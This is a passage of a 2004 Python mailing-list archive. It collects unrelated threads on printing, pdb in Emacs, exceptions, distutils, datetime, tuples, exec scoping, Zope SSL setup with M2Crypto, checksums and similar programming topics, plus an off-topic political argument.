Sep 8 16:35:55 2004 From: tundra at tundraware.com (Tim Daneliuk) Date: Wed, 08 Sep 2004 15:35:55 -0500 Subject: Unix Printing In-Reply-To: References: Message-ID: <413F6D2B.40508@tundraware.com> Greg Lindstrom wrote: > Hello, > > I am about to write a script that will allow the users on my HP-9000 box to > list the contents of a directory and choose a file to print. I would then > like to show them a menu of printers configured on the box and allow them to > choose one (via the "old style" ASCII type menus). Before I go write the > beast, do any of you know if anything like that exists? In particular, can > I get a list of all of the printers configured on the HP-9000 running > HP-UNIX? > > Thanks for your help, > > --greg > > Greg Lindstrom (501) 975-4859 > NovaSys Health greg.lindstrom at novasyshealth.com > > "We are the music makers, and we are the dreamers of dreams" W.W. > This may be of interest: http://www.cups.org/ -- ---------------------------------------------------------------------------- Tim Daneliuk tundra at tundraware.com PGP Key: http://www.tundraware.com/PGP/ From mrsilva at fastmail.fm Fri Sep 24 09:08:46 2004 From: mrsilva at fastmail.fm (Marcio Rosa da Silva) Date: Fri, 24 Sep 2004 15:08:46 +0200 Subject: Emacs + python In-Reply-To: References: <278de0e.0409201131.57baf7f9@posting.google.com> <414f61bf$0$29449$636a15ce@news.free.fr> <87hdprv3qd.fsf_-_@ion.xlipstream.com> Message-ID: Steffen Ries wrote: > You can either start pdb as "python make your life easier install an executable that does that. I'm using > the following script in /usr/local/bin/pdb for this purpose: > I tought that was what pydb (not pdb) does. But pydb doesn't worked for me (it is in /usr/bin/pydb on my system) > --8<-- > #! /bin/sh > lib=`python -c "import sys; print '%s/lib/python%s' % (sys.prefix, sys.version[:3])"` > > python -u $lib/pdb.py "$@" > --8<-- but this one works! Thanks!!! > > with this script you start pdb as "M-x pdb pdb yourscript.py > script arguments..." :-) >>Anyone can help me with this? I really don't know how to make it >>work. I have seen in the python-emacs-mode that there are some code to >>synchronize the code, but I could not make it work in this way (I >>don't know enough elisp) :-( >> >>But anyway, thanks Chris for the tip. This one worked for me :-) It is >>possible to set breakpoints using the source buffer instead of using >>the line number? > > > C-x in the source buffer. This works running pdb as you suggested, but with the set_trace() trick, not (at least for me) Problem solved now! Thank you!! Marcio From zanesdad at bellsouth.net Mon Sep 27 12:06:58 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Mon, 27 Sep 2004 12:06:58 -0400 Subject: Catching Exceptions. In-Reply-To: References: Message-ID: <41583AA2.60306@bellsouth.net> Keith Bolton wrote: >I am handling exceptions currently using try, except. Generally I don't >handle specific exceptions and am catching all. >Then if an exception occurs, I would like to capture that error string. > However, in the documentation it seems like >there is not a way to get the extra str data if you are handling all >exceptions and not specifically. Is there? > >thanks > >-keith > > You want to specify the specific exception you want to handle like this: >>> f = {'a': 'b'} >>> f['b'] Traceback (most recent call last): File "", line 1, in ? KeyError: 'b' >>> try: ... print f['b'] ... except KeyError: ... print "You got a key error" ... except: ... print "You got some other kind of exception than a KeyError" ... You got a key error >>> Just name the exception after the "except". You can list a chain of "except " followed by a generic "except" to handle any other type of exception you didn't mention. Jeremy -------------- next part -------------- An HTML attachment was scrubbed... URL: From jgrahn-nntq at algonet.se Tue Sep 21 18:12:52 2004 From: jgrahn-nntq at algonet.se (Jorgen Grahn) Date: Tue, 21 Sep 2004 22:12:52 +0000 (UTC) Subject: Distutils and binaries without compilation References: Message-ID: On Tue, 21 Sep 2004 10:45:19 +0100, Mark English wrote: > The short version of this question is how do you include binaries in a > distribution without including their source ? setup.py bdist or in your case setup.py bdist_wininst > The long version follows... > I have a Python package I want to distribute internally to my company > which makes use of pure python modules and C-extensions (.pyd files) > under Windows (and hopefully one day Unix too). The build for the > extensions is large and arduous so I do not want to include the source. > I would rather just include the compiled binaries so that when the user > installs the package they are written into the relevant location and the > whole thing is ready to go. ... > And end up with a zip file containing all the .py (and.pyc) files in the > correct structure but no .pyd files. I skipped the details, but if 'bdist' doesn't create an archive which includes the .pyd files, you've made an error in setup.py. A 'bdist' is supposed to be specific for an OS and a Python release, and contain Python sources (and .pyc, .pyo?) and binary extension modules, but no C sources. That said, I find distutil's mechanisms for building extension modules a bit simplistic. Probably easy to get wrong except in the simple cases. /Jorgen -- // Jorgen Grahn R'lyeh wgah'nagl fhtagn! From aleaxit at yahoo.com Sun Sep 19 14:31:48 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 19 Sep 2004 20:31:48 +0200 Subject: Math errors in python References: Message-ID: <1gkdncx.kyq0oz1excwtyN%aleaxit@yahoo.com> Dennis Lee Bieber wrote: > Strangely, HP's tended not to hold guard digits... My HP-48sx > gives the all-9s result, and I recall older models also not having > guards. Nothing strange there -- HP's calculators were squarely aimed at scientists and engineers, who are supposed to know what they're doing when it comes to numeric computation (they mostly _don't_, but they like to kid themselves that they do!-). Alex From carribeiro at gmail.com Wed Sep 8 09:41:59 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 8 Sep 2004 10:41:59 -0300 Subject: What about an EXPLICIT naming scheme for built-ins? In-Reply-To: <1gjsc88.1ufkzncvrngdN%aleaxit@yahoo.com> References: <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> <864d370904090413356356d84d@mail.gmail.com> <1gjnx6t.1vayevnrckt5yN%aleaxit@yahoo.com> <1gjsc88.1ufkzncvrngdN%aleaxit@yahoo.com> Message-ID: <864d370904090806414b5938e5@mail.gmail.com> On Wed, 8 Sep 2004 08:31:34 +0200, Alex Martelli wrote: > Carlos Ribeiro wrote: > > > On Tue, 07 Sep 2004 20:04:57 GMT, Anna Martelli Ravenscroft > > wrote: > > > I *guess* I had thought of it, if at all, as something similar to > > > int('2') or float(2). They're useful, but only in very limited specific > > > cases. I would have expected list('cat') to force a list out of the > > > string. Just like int() or float() and, well, that's it. That's as far > > > as I would have thought of it as being useful... > > > > Extending your reasoning a little bit, list(anything) smells a > > typecast -- something that's used to convert a variable of one type > > into a variable of another type. > > I know of no language in which such casts are limited to variables nor > any in which they produce variables: it's always about _expressions_ (in > C terminology, "rvalues" -- can be on the R-ight of the = in an > assignment -- not "lvalues"... can't be on the L-eft ditto). Sorry. I didn't express myself very well. This part of the discussion is a bit confusing to me and I just can't find the words to say what I'm thinking. Let me put it out this way: how can one "typecast" a generator? It seems to be conceptually different from "typecasting" an expression, a function, or variable, or a constant value. After some pondering, I think I can rephrase my statement as: "Extending your reasoning a little bit, list(anything) smells a typecast -- something that's used to convert a VALUE of one type into a VALUE of another type". I prefer value in this context because the typecast really converts the value returned by the expression to another type. Did it sound right now? > > other hand, [x for x in generator()] reads as a description of what is > > getting done -- an algorithm of sorts -- and then it comes up as a > > natural solution for the problem. > > Yes, it does read as a loop. The funny thing is, I haven't seen the > same issues regarding sum(somenumbers()) -- which reads as a function > call, syntactically the same as list(somenumbers()), not as a loop. Your example made me realize that the underlying problem is (again) the functional versus the imperative programming model. Let us think about it from "outside the box", looking at the words as someone who don't know Python yet: -- sum(values()) is read as "sum all these values". It's a clear interpretation, both in functional and imperative terms. -- list(values()) is read as "list all these values". The functional interpretation is easy -- it should return a list of all values. But the traditional definition of the word "list" in imperative programming is different -- it is associated with the action of printing out a list of values. Our problem should be stated in imperative terms as "put all these values into a list". Many programmers were trained all their lives to think in the imperative way, not the functional one, and that's probably the real underlying problem. In a sense, *if* the list() builtin was named makelist() -- an imperative spelling of the same concept -- I think nobody would think twice before using it instead of the list comprehension version. (Please, I'm far from advocating to change the list() name -- the current name is fine and really ellegant -- I'm just trying to point out a difference in mental models). -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From Brian.Inglis at SystematicSW.Invalid Fri Sep 10 22:01:36 2004 From: Brian.Inglis at SystematicSW.Invalid (Brian Inglis) Date: Sat, 11 Sep 2004 02:01:36 GMT Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <0vvphc.8nl1.ln@via.reistad.priv.no> Message-ID: <1vm4k05b230gskkeg498nf9cpqdl4formd@4ax.com> On Fri, 10 Sep 2004 21:08:58 +0200 in alt.folklore.computers, Morten Reistad wrote: >In article , >Anne & Lynn Wheeler wrote: >>Morten Reistad writes: >>the next were the 3330s ... long cabinet unit looked similar to 2314 >>... but with only 8 drawers (instead of 9). 3330-i pack had 100mbytes >>... later 3330-ii pack had 200mbytes. picutre of 3330 unit ... the three >>cloaded plastic units on top of the unit were used to remove disk pack >>and hold it. >>http://www-1.ibm.com/ibm/history/exhibits/storage/storage_PH3330.html > >These are the IBM gear that most resemble SMB equipment. SMD's were >the BUNCH answer to DEC's RP04/5/6 and IBM's 3330. Originally made >by CDC; others also produced them. NCR and Fujitsu come to mind. ISTR RP series were Memorex drives; RM series were CDC drives; the latter were more reliable than the former. -- Thanks. Take care, Brian Inglis Calgary, Alberta, Canada Brian.Inglis at CSi.com (Brian[dot]Inglis{at}SystematicSW[dot]ab[dot]ca) fake address use address above to reply From donnal at donnal.net Wed Sep 15 10:00:13 2004 From: donnal at donnal.net (Donnal Walter) Date: Wed, 15 Sep 2004 09:00:13 -0500 Subject: comparing datetime with date In-Reply-To: References: <1f7befae04091414167f3b37d4@mail.gmail.com> Message-ID: Steve Holden wrote: > Comparing a datetime and a time makes little sense to me, and I'd prefer > to be forced to extract the time explicitly from the datetime before > comparison. A time specifies a point during *any* day, a datetime > specifies a single point in the time continuum. Perhaps I am guilty of not explaining what I was trying to do. I have an abstract class (called Cell) that implements a form of the observable pattern. When x.set(...) is called, it check to see if the new value is different from the old value before making the change and notifying observers. The abstract Cell class has a lot of other functionality, as well, but this is the critical feature. Then I have at least three subclasses: one for text (strings), one for numbers, and one for timepoints. Althought the internal value representation is different for all three, they all use the same basic set(...) method. In my first implementation, the internal representation for TimePoint was going to be a datetime.datetime object. Sometimes, however, one knows a date without knowing the time (date of birth, for example, before knowing the time of birth, and this is important in newborn intensive care). I wanted to be able to enter the date of birth in a way that indicates that the time is unknown at present, so I used a datetime.date. Then later after the actual time is learned, it could be changed to a datetime.datetime. How else would the associated presenter (presentation object) know whether or not the time was unknown? But this means that for my implementation dt.date should not evaluate as equal to the corresponding dt.datetime. My solution now (as a result of this thread) is to use a three-tuple for date of birth and a five-tuple for date and time of birth. These two representations obviously do evaluate as different. I still convert to datetime.datetime (with or without DST information) for calculations of intervals, but storage is the basic time tuple. Kind regards, Donnal Walter Arkansas Children's Hospital From jmfbahciv at aol.com Tue Sep 14 06:33:10 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Tue, 14 Sep 04 10:33:10 GMT Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> Message-ID: <4146dc2f$0$2665$61fed72c@news.rcn.com> In article , Greg Menke wrote: >Chuck Dillon writes: > >> Antony Sequeira wrote: >> >> > Chuck Dillon wrote: >> > How is that related to Saqqddam Hussqqqqqain being a jackass and us >> > spending 100 or whatever billions on removing him and having 1000+ >> > of Americans + unknown number of Iraqqqqqis getting killed. How does >> > that help avoid >> > 9 qqqq 11 or are you confused between Iraqqqqqis and Saudqqqqis ? >> >> If you reread the post that you responded to you will see it has >> nothing to do with Iraq. >> >> However, to answer your question: How does regime change in Iraq help >> avoid another 9/11... >> 1) It removes one of the states that might consider sponsing >> such a future attach. > >Wouldn't it have made more sense to invade Saudi Arabia? No. It would have been the stupidest thing to do. Invasion of Islam's holiest place would have ensure that this mess turned into a 100% religious war. > .. Thats where >the terrorist money and terrorist leadership is from. IIRC, Hitler came from Austria. So we should have only invaded Austria to gain control of Africa and Europe? > .. Iraq is chump >change on that account- It's an ideal place. It's located right in the middle of all potential trouble makers; its people are more educated than the other countries' populations so getting them self-supporting doesn't need a cold start. The country was already an enemy who had violated terms of cease fire over and over and over and over and over and over ... again. > .. heck, even Iran or Syria would've made a much >better target on this basis. Or are we such bullies that we'll pick >the weakest kid to beat up to show how strong we are? Yes. It's a good plan and the cheapest. /BAH From __peter__ at web.de Sat Sep 18 04:54:41 2004 From: __peter__ at web.de (Peter Otten) Date: Sat, 18 Sep 2004 10:54:41 +0200 Subject: namespace/dictionary quandry References: Message-ID: Jack Carter wrote: > This will result in: > > >>> bosco=5 > >>> if 1: > ... attach bosco > ... bosco=7 > ... attach bosco > ... > DoAttach: ['5'] > DoAttach: ['5'] <--- WRONG (at least, not what I want) > >>> attach bosco > DoAttach: ['7'] The suite attach bosco bosco = 7 attach bosco is only executed after the final empty line. Therefore any access to the right dictionary in the process() method will give you the current value bosco==5 which is not what you want. You are in effect translating the suite into (simplified) DoAttach(5) bosco = 7 DoAttach(5) # the previous line has not yet been executed I think the easiest way to get the desired effect ("late binding") is like so: def process(self, line): temp_line = line.lstrip() front_padding = line[:len(line)-len(temp_line)] match = self.regexp.match(temp_line) if match: line = front_padding + "myparse.DoAttach(bosco)" return line I. e. change the generated line to contain variable names instead of values and leave the resolution to python. (You hint you don't wont that either. Why?) By the way, I wasn't able to run your code - the indentation is seriously messed up. I recommend you ensure a 4-space indentation in all code you currently have before you move on. That will spare you a lot of trouble later on. Another minor issue: 'value is 0' may or may not work depending on the python implementation ('value is 1000' won't work even in current CPython). With 'value == 0' you are on the safe side. Peter From aleaxit at yahoo.com Mon Sep 6 06:13:35 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 6 Sep 2004 12:13:35 +0200 Subject: open default MUA with a hyper link References: Message-ID: <1gjoxxx.ve4kzfamqqolN%aleaxit@yahoo.com> Nemesis wrote: > "Jp Calderone" wrote: > > [opening the default MUA] > > webbrowser.open("mailto:exarkun at divmod.com") gives me a mozilla > > browser and a mozilla compose window. I don't know of an existing way > > to do better than that. > > How can I use this syntax in order to specify also the body of the > mail? Study the mailto: syntax on any HTML reference, e.g. http://docs.intellifuzz.com/readmore.php?p=39 Alex From mailtome200420032002 at yahoo.com Sat Sep 25 00:18:30 2004 From: mailtome200420032002 at yahoo.com (john) Date: 24 Sep 2004 21:18:30 -0700 Subject: XSLT and client cache References: <4c900ea0.0409232256.5a90ea09@posting.google.com> Message-ID: <4c900ea0.0409242018.2a4f38@posting.google.com> Peter Hansen wrote in message news:... > john wrote: > > I want to do something like this: > > Store the XSLT document in the client cache if it is not already present. > > If present then use that XSLT document to display the xml. > > I have no idea how to do this. > > The question is somewhat vague, but I'll refrain from directing > you to read a certain essay by ESR for now. ;-) > > Can we assume by "client" you mean a web browser? If so, > why would you treat the XSLT document any differently from > any other file your server sends it? Any browser with the > capability should already be caching XSLT just as it caches > anything else that doesn't ask not to be cached with the > various HTTP headers that can do so... > > -Peter Ya i mean web browser by client. But how can I determine whether the XSLT document is already present in client cache?? From donn at drizzle.com Mon Sep 6 01:23:13 2004 From: donn at drizzle.com (Donn Cave) Date: Mon, 06 Sep 2004 05:23:13 -0000 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com> <1094359182.57429@yasure> <1gjnwg3.5feg9dzs0534N%aleaxit@yahoo.com> Message-ID: <1094448191.876173@yasure> Quoth aleaxit at yahoo.com (Alex Martelli): | Donn Cave wrote: |> Quoth aleaxit at yahoo.com (Alex Martelli): ... |> | So by this argument len(t) should not work if t is a tuple... |> |> I expect it's used relatively infrequently, and for different |> reasons. "if len(info) == 5", for example - just from that |> line from a relatively popular Python application, would you |> guess info is a list, or a tuple? | | No idea -- could just as well be a dict, an array.array, whatever. | That's the very point and the beauty of polymorphism - I don't CARE what | kind of container 'info' is, I know by this snippet that we're testing | if it has exactly 5 items, or not. I can't tell if you're just being playfully obtuse, or you really don't recognize the pattern. For me, usage like this is a fairly familiar sight with tuples, where it's part of a kind of poor man's user defined data type - we get this tuple, and if it's 5 items it would be last version's info, 6 items is the present version. This use for len() is totally about the intact tuple and has nothing to do with sequential access. |> There you go, they shouldn't be indexed or sliced, that's right! |> Named attributes would be nice, but otherwise you use pattern |> matching (to the extent support in Python -- key, value = item.) |> Makes for more readable code. | | Not for sufficiently long tuples. Take the 9-item tuples that the time | module used to use before they grew names: having to unpack the tuple to | access a single item of it would be exceedingly tedious and heavily | boilerplatey to boot. | | Besides, I _do_ need to have immutable sequences that are suitable as | dict keys. Today, x=tuple(mylist) performs that role admirably. So, | say I have a dict d, indexed by such tuples -- of different lengths -- | and I want all the keys into d that have 23 as their first item. Today | this is a trivial task -- but if I couldn't index tuples I WOULD have a | problem... basically I would need "frozen lists" (and "frozen dicts" | where I today use tuple(d.iteritems())...). Today, tuples serve all of | these roles -- poor man's structs (lacking names), immutable 'frozen' | lists for dict-keying roles, etc. We need at least two new builtin | types to take their place if we want to remove tuple indexing... Well, it's not like I'm really proposing to take away the ersatz list properties that tuples have. It's just that if they were gone, I think you'd have roughly the tuple that languages of the Lisp family have had for so long, and apparently been so happy with while discontent has festered in the Python world. (It has been a long while since I wrote my last Lisp program, but I'm assuming that's where all the FP languages got it from.) Donn From peter at designtheory.org Wed Sep 15 11:53:08 2004 From: peter at designtheory.org (Peter Dobcsanyi) Date: 15 Sep 2004 15:53:08 GMT Subject: MPS parser for IP/LP data Message-ID: Hi, I am looking for Python code to parse Mathematical Programming System (MPS) format. I urgently need to extract data from a bunch of test files in MPS format. The files encode IP problems something like min{c.x : Ax <= b, ...} I would like the code to return c, and b as Python lists and A as list of lists or alternatively, as Numeric arrays. I don't want to solve the problems just need A,b and c. Thank you, Peter From jdhunter at ace.bsd.uchicago.edu Sun Sep 26 12:21:53 2004 From: jdhunter at ace.bsd.uchicago.edu (John Hunter) Date: Sun, 26 Sep 2004 11:21:53 -0500 Subject: Zope, M2Crypto, and Gentoo In-Reply-To: <4156ddd5$0$78146$a1866201@newsreader.visi.com> (jsmilan@tiny.net's message of "26 Sep 2004 15:18:45 GMT") References: <4156ddd5$0$78146$a1866201@newsreader.visi.com> Message-ID: >>>>> "jsmilan" == jsmilan writes: jsmilan> However, there IS no z2.py on my system. Instead, my jsmilan> /etc/init.d/myzopeserver file calls zopectl, which in jsmilan> turn calls a configuration file that resides underneath jsmilan> /var/lib/zope/myzopeserver. jsmilan> Has anyone out there gotten this particular combination jsmilan> to work? Is there an easy way to pull this off? Am I jsmilan> just being incredibly dense and looking in the wrong jsmilan> place? You're not being dense but you are looking in the wrong place. Check out the demo/Zope27 sub-directory of the mycrypto src distro. Here are my condensed install notes, which basically summarize the instructions from the Zope27 directory Install m2crypto You'll need SWIG 1.3.21 : http://aleron.dl.sourceforge.net/sourceforge/swig/swig-1.3.22.tar.gz): ./configure; make; sudo make install Get the m2 src http://sandbox.rulemaker.net/ngps/Dist/m2crypto-0.13.zip I had to edit setup.py and add the following to the include_dirs for posix systems (on or around line 75 include_dirs = [my_inc, '/usr/include', '/usr/kerberos/include/'] > python setup.py build > sudo python setup.py install Installing ZServer cd /var/tmp/build/m2crypto-0.13/ cd demo/Zope27/ cp install_dir/lib/python/ZServer/HTTPS_Server.py /usr/local/Zope-2.7.2/lib/python/ZServer/ cp install_dir/lib/python/ZServer/medusa/https_server.py /usr/local/Zope-2.7.2/lib/python/ZServer/medusa/ less install_dir/lib/python/ZServer/__init__.py.patch cd /usr/local/Zope-2.7.2/lib/python/ZServer/ mkdir /var/tmp/back rm -rf /var/tmp/back cp -a * /var/tmp/back/ patch -p0 < /var/tmp/build/m2crypto-0.13/demo/Zope27/install_dir/lib/python/ZServer/__init__.py.patch patch -p0 < /var/tmp/build/m2crypto-0.13/demo/Zope27/install_dir/lib/python/ZServer/component.xml.patch patch -p0 < /var/tmp/build/m2crypto-0.13/demo/Zope27/install_dir/lib/python/ZServer/datatypes.py.patch # now patch instance home cd /var/tmp/build/m2crypto-0.13/demo/Zope27/ mkdir /usr/local/Zope-2.7.2/zope_instance/ssl cp instance_home/ssl/*.pem /usr/local/Zope-2.7.2/zope_instance/ssl/ cd /usr/local/Zope-2.7.2/zope_instance/ cp README.txt etc/zope.conf /var/tmp/back/ patch -p0 < /var/tmp/build/m2crypto-0.13/demo/Zope27/instance_home/README.txt.patch cd etc/ patch -p0 < /var/tmp/build/m2crypto-0.13/demo/Zope27/instance_home/etc/zope.conf.patch # symlink ssl cd /usr/local/Zope-2.7.2/ ln -s zope_instance/ssl JDH From carribeiro at gmail.com Mon Sep 13 14:09:59 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 13 Sep 2004 15:09:59 -0300 Subject: Small inconsistency between string.split and "".split In-Reply-To: <20040913175927.GB4646@siliconimage.com> References: <864d370904091310411a2cf435@mail.gmail.com> <20040913175927.GB4646@siliconimage.com> Message-ID: <864d370904091311095be3e08c@mail.gmail.com> On Mon, 13 Sep 2004 10:59:27 -0700, Inyeol Lee wrote: > I think "None" trick was documented here since string method was > introduced. I got it now. The problem is that I had just read the docstring -- yes, not the manual, and admit it, it was lazyness of my part ;-) But anyway... the keyword parameter handling is inconsistent, *and* the docstring could mention something about sep="None". Here it is: split(s [,sep [,maxsplit]]) -> list of strings Return a list of the words in the string s, using sep as the delimiter string. If maxsplit is given, splits at no more than maxsplit places (resulting in at most maxsplit+1 words). If sep is not specified, any whitespace string is a separator. (split and splitfields are synonymous) It seems that sep=None can be safely understood as "sep is not specified". The other way round is not so clear. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From aleaxit at yahoo.com Thu Sep 9 03:31:09 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 9 Sep 2004 09:31:09 +0200 Subject: container-indepentent iteration code ? References: <10jv5ad1sjgep4d@corp.supernews.com> <10jv9ae988bbnb7@corp.supernews.com> Message-ID: <1gjua5r.1lyvrdx1qcj1nN%aleaxit@yahoo.com> flacco wrote: ... > > In what way does > > > > for obj in container: > > > > not meet your needs? > > i always want obj to be the value. dicts, for example, yield keys > instead of values (i think?)... Yep, as Jeremy explained, iter(container) [[implicitly called by the for statement]] lets the container decide which are the container's *items*. If you don't like the way a container defines what its items are for default iteration purposes you need to tweak things in the cases you don't like (another example might be files: their items are lines -- what if you want characters, or blocks of 37 characters, or ...? no way Python can possibly guess without explicit action on your part!). Alex From indigo at bitglue.com Sat Sep 11 14:34:09 2004 From: indigo at bitglue.com (Phil Frost) Date: Sat, 11 Sep 2004 14:34:09 -0400 Subject: How can I exec() in global? In-Reply-To: References: Message-ID: <20040911183409.GA25610@unununium.org> You can do exec(some_code, globals(), globals()) to execute some_code as if it were executed at module scope. I can't really think of a reason off hand why you would want to do this, but I assume you have your reasons. On Sat, Sep 11, 2004 at 09:17:02PM -0700, Jerald wrote: > Hi. > > Is it possible to exec() from within a function so the exec'd > code affects global? > > For example > > def foo(): > exec ('X=[1,2,3]') > > And I'd like 'X' to be a global variable. > > > Thanks, > > Gerald From davidf at sjsoft.com Thu Sep 30 12:12:49 2004 From: davidf at sjsoft.com (David Fraser) Date: Thu, 30 Sep 2004 18:12:49 +0200 Subject: Python in Process Control? In-Reply-To: References: Message-ID: Wolfgang Keller wrote: > Hello, > > is it that my know-how to use Google is insufficient or... > > ...does really noone use Python for industrial control applications? > > At least I didn't manage to find any publicly available modules for such > things as OPC/fieldbus communication etc... I had a go at OPC once. I had a working simple OPC client I think (couldn't get the server working). Basically OPC is all COM so it should be too hard with the win32com methods David From http Thu Sep 9 06:59:57 2004 From: http (Paul Rubin) Date: 09 Sep 2004 03:59:57 -0700 Subject: Shorter checksum than MD5 References: Message-ID: <7xfz5rn1w2.fsf@ruckus.brouhaha.com> Mercuro writes: > i'm looking for a simple way to checksum my data. The data is 70 bytes > long per record, so a 32 byte hex md5sum would increase the size of my > mysql db a lot. If the data is binary, the md5 checksum is 16 bytes, not 32. > I'm looking for something that is 5 bytes long, for the moment i'm > just taking a part of the hex md5 sum (like this: checksum = > md5sum[3:8]). I don't have any duplicates, and I have over 100000 > records, but i'm not sure for the future... Using 5 hex digits would give you just 20 bits of hash, so you would almost definitely get collisions with that many records. > PS: I use this checksum to periodically compare 2 versions of this DB, > which are on 2 sides of a slow internet connection. My hope is to > keep down unneeded traffic between the 2 servers. How about putting a timestamp in each record, so you only have to compare the records that have been updated since the last period comparison. Or, if you expect only occasional changes, you could compare hashes of long runs of records, then narrow down the comparisons to locate the records that actually differ. You could straightforwardly put a tree structure over the hashes, but maybe there's some even better way. From claird at lairds.us Mon Sep 20 19:08:05 2004 From: claird at lairds.us (Cameron Laird) Date: Mon, 20 Sep 2004 23:08:05 GMT Subject: Update automation and related issues (was: Python Webstart ?) References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> <1gkazd2.1qm3g0u1l6b7lmN%aleaxit@yahoo.com> <3gb322-ui9.ln1@lairds.us> <87vfe8zlgv.fsf@pobox.com> Message-ID: In article <87vfe8zlgv.fsf at pobox.com>, John J. Lee wrote: . . . >Not sure, as a user, that I'm a great fan of the mutable >program-plus-data-in-a-big-lump concept... > >- One can usually rely on data files to stay put, and not to start > rewriting themselves (well, ok, at least on non-windows OSes ;-/). > >- Do I want to be forced to back up 10Mb of Python+Metakit every time > I back up my data? > >- Other than that, as a user, why do I care? > >As a developer, what does this approach offer above tools like py2exe >/ Installer &c? > >I am underwhelmed by the idea of dynamic debugging. Seems like a >solution looking for a problem. . . . John, those are healthy instincts. It'll take a while to answer fully. Part of the answer depends on this: 10 megabytes is inconsequential. That's false, of course; I often work on old equipment, through dial-up, and so on, so I know that bytes count. For much of current computing, though, 10 Mb doesn't matter (and incidentally, my deliverables frequently fit on a floppy). One big benefit is what Metakit's inventor calls freedom from installation. The point is that an application is a single file. If you want it, you have that single file. If you want to discard it, you remove a single file. End-user configuration confusions are so common and costly that this consideration alone makes big- lumps a win (and keep in mind that, as I wrote above, I often fit my big lumps on a floppy; compare that to typical VC++ or Java practice). So, as a user, you care because the model is simple for you. There's one file. Back it up, move it, delete it--the concept doesn't com- plexify. It's the way computers are supposed to work. More, later. From lbates at swamisoft.com Thu Sep 23 15:18:01 2004 From: lbates at swamisoft.com (Larry Bates) Date: Thu, 23 Sep 2004 14:18:01 -0500 Subject: Unexpected result. References: Message-ID: Actually the result is exactly as expected. Programming 101 teaches us not to reuse loop variables in nested loops. and People have enough problems with "scope" already (just monitor this newsgroup for a while if you don't believe me). Also consider a variation of your example: d={} for i in ('a','b','c'): for j in (1,2,3): d[i]=j If 'j' loop had local scope how could it reference 'i'? Larry Bates "Grzegorz Dostatni" wrote in message news:Pine.LNX.4.44.0409231312490.8517-100000 at e5-05.ee.ualberta.ca... > > Consider the following fragment: > >>>> for i in ('a','b','c'): > ... for i in (1,2,3): > ... print i, > ... print i, > ... > 1 2 3 3 1 2 3 3 1 2 3 3 > > Now. I believe I know what is happening. The i in both loops refers to the > same variable. My question is whether it would make more sense (be more > intuitive) to have a for loop create its own local scope. (ie. an output > string of > 1 2 3 a 1 2 3 b 1 2 3 c > > ) > > Grzegorz > > > "Some cause happiness wherever they go; others, whenever they go." > - Oscar Wilde (1854-1900) > > From reynirhs at mi.is Tue Sep 7 22:18:46 2004 From: reynirhs at mi.is (Reynir Stefánsson) Date: Wed, 08 Sep 2004 02:18:46 +0000 Subject: Xah Lee's Unixism References: <413af268$0$19706$61fed72c@news.rcn.com> <413c5b9c$0$19705$61fed72c@news.rcn.com> <1s4ihc.4i4.ln@via.reistad.priv.no> Message-ID: So spake Alan J. Flavell: >On Tue, 7 Sep 2004, John Thingstad wrote: > >> It was the realization of www (CERN) that spawned the movement toward the >> Internet. > >Eh? Could the 'movement' be the mass influx of muggles? -- Reynir Stef?nsson (reynirhs at mi.is) From sholden at flexal.cs.usyd.edu.au Wed Sep 22 04:40:08 2004 From: sholden at flexal.cs.usyd.edu.au (Sam Holden) Date: 22 Sep 2004 08:40:08 GMT Subject: Somthing strange with list as default argument References: <415135a2$0$2388$626a14ce@news.free.fr> Message-ID: On Wed, 22 Sep 2004 10:19:45 +0200, Julien Sagnard wrote: > Hi all, > > When passing a list as default argument for a function, only one list is > created for all calls. > exemple: > >>> def f(a=[]): > ... a.append("x") > ... print a > ... > >>> f() > ['x'] > >>> f() > ['x', 'x'] > >>> f() > ['x', 'x', 'x'] > >>> f() > ['x', 'x', 'x', 'x'] > >>> > > I'm not found any reference of this. Is it a bug ? http://docs.python.org/tut/node6.html#SECTION006710000000000000000 (see the bold "important warning") http://docs.python.org/ref/function.html (see the paragraph with the bold text) http://www.python.org/doc/faq/general.html #why-are-default-values-shared-between-objects (see the whole of 1.4.21 - link should be all one string with no new line...) The tutorial, the reference docs, and the FAQ all mention this. There isn't anywhere left to reference it. -- Sam Holden From max at alcyone.com Sat Sep 18 20:10:59 2004 From: max at alcyone.com (Erik Max Francis) Date: Sat, 18 Sep 2004 17:10:59 -0700 Subject: ANN: BOTEC 0.2 -- An astrophysical and orbital mechanics calculator Message-ID: <414CCE93.FAE45032@alcyone.com> Summary BOTEC is a simple astrophysical and orbital mechanics calculator, including a database of all named Solar System objects. Overview BOTEC is intended as a simple but useful calculator to assist with making astrophysical, orbital mechanics, and space navigation calculations. As the origin of the acronym applies, BOTEC is more of a "back-of-the-envelope calculator" rather than an industrial-strength calculator, although this may change in the future. BOTEC is primarily intended for people familiar with physics and Python, and as such is unlikely to be useful to the average enduser. BOTEC really consists of two parts: The BOTEC software, which knows what to do with the data, and the Solar System data itself, which is represented in a large data file (a Python pickle, actually). This is deliberately modularized so that the Solar System data BOTEC uses can be updated independently of thet software, and also that alternative data files 